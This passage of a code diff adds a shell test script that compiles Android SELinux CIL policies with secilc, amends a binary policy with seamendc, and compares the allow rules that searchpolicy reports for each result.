+echo "(class file (read))" >> definitions.cil
+echo "(classorder (file))" >> definitions.cil
+
+# Compile binary and amend policies using secilc.
+./secilc -m -M true -G -N -c 30 \
+ -o sepolicy+test-secilc.binary \
+ plat_sepolicy.cil \
+ plat_pub_versioned.cil \
+ system_ext_sepolicy.cil \
+ product_sepolicy.cil \
+ vendor_sepolicy.cil \
+ odm_sepolicy.cil \
+ test_sepolicy.cil
+
+# Compile binary policy and use seamendc to amend the binary file.
+./secilc -m -M true -G -N -c 30 \
+ -o sepolicy.binary \
+ plat_sepolicy.cil \
+ plat_pub_versioned.cil \
+ system_ext_sepolicy.cil \
+ product_sepolicy.cil \
+ vendor_sepolicy.cil \
+ odm_sepolicy.cil
+
+./seamendc -vv \
+ -o sepolicy+test-seamendc.binary \
+ -b sepolicy.binary \
+ test_sepolicy.cil definitions.cil
+
+# Diff the generated binary policies.
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+ -s foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+ -s foo > seamendc.diff
+diff secilc.diff seamendc.diff
+
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+ -t foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+ -t foo > seamendc.diff
+diff secilc.diff seamendc.diff